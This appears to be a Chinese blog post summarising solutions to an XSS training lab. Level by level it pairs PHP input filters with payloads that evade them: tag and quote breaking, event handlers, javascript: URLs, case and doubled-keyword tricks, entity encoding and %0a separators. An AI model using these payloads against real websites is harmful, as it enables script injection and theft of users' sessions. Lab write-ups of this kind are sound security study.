zoukankan      html  css  js  c++  java
  • xss lab注入

    XSS-lab简单总结

    1.<script>alert(1)</script>

    2.</h2><script>alert(1)</script> 先闭合标签

    3.<input name=keyword value='".htmlspecialchars($str)."'>

    闭合引号,绕过html实体化,避免<>的出现。

    payload: ' onclick='alert(1)' 单引号闭合

    4.$str2=str_replace(">","",$str);

    将<>替换为空,可以用上面的方式

    $str2=str_replace("<script","<scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);

    两个过滤,用javascript伪协议

    "><a href="javascript:alert(1)">a</a>

    $str = $_GET["keyword"];
    $str2=str_replace("<script","<scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);

    没有转小写,用大写绕过
    "><SCRIPT>alert(1)</SCRIPT>

    转小写,替换为空,用双写绕过
    "><SCRSCRIPTIPT>alert(1)</SCRSCRIPTIPT>

    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script","scr_ipt",$str);
    $str3=str_replace("on","o_n",$str2);
    $str4=str_replace("src","sr_c",$str3);
    $str5=str_replace("data","da_ta",$str4);
    $str6=str_replace("href","hr_ef",$str5);
    $str7=str_replace('"','&quot',$str6);

    用html实体编码。

    &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1) //javascript:alert(1)

    多加了个这个if(false===strpos($str7,'http://')),检测这句话里面有没有http://

    &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(http://)

    " onclick="alert(1)" type=button
    " onmouseover= "alert(1)"
    " accesskey="x" onclick="alert(1)" type="text"
    

    user-agent,cookie,http_server,都可以是注入点

    span class="ng-include:'.htmlspecialchars($str).'"></span>

    ng_include 是angularjs的用法 ,包含文件

    <img%0asrc=""%0aonerror="alert(1)">//onerror

    %0a 替代 空格

    14.flash xss
    https://www.secpulse.com/archives/44299.html

  • 相关阅读:
    LeetCode(1): 两数之和
    LeetCode(2): 两数相加
    目标检测
    图像语义分割
    Python的图像库
    Caffe
    Layers Of Caffe
    Solver Of Caffe
    ORA-01144_表空间数据文件超出最大限制
    ORA-01654_TableSpace空间不足问题处理
  • 原文地址:https://www.cnblogs.com/vstar-o/p/13092465.html
Copyright © 2011-2022 走看看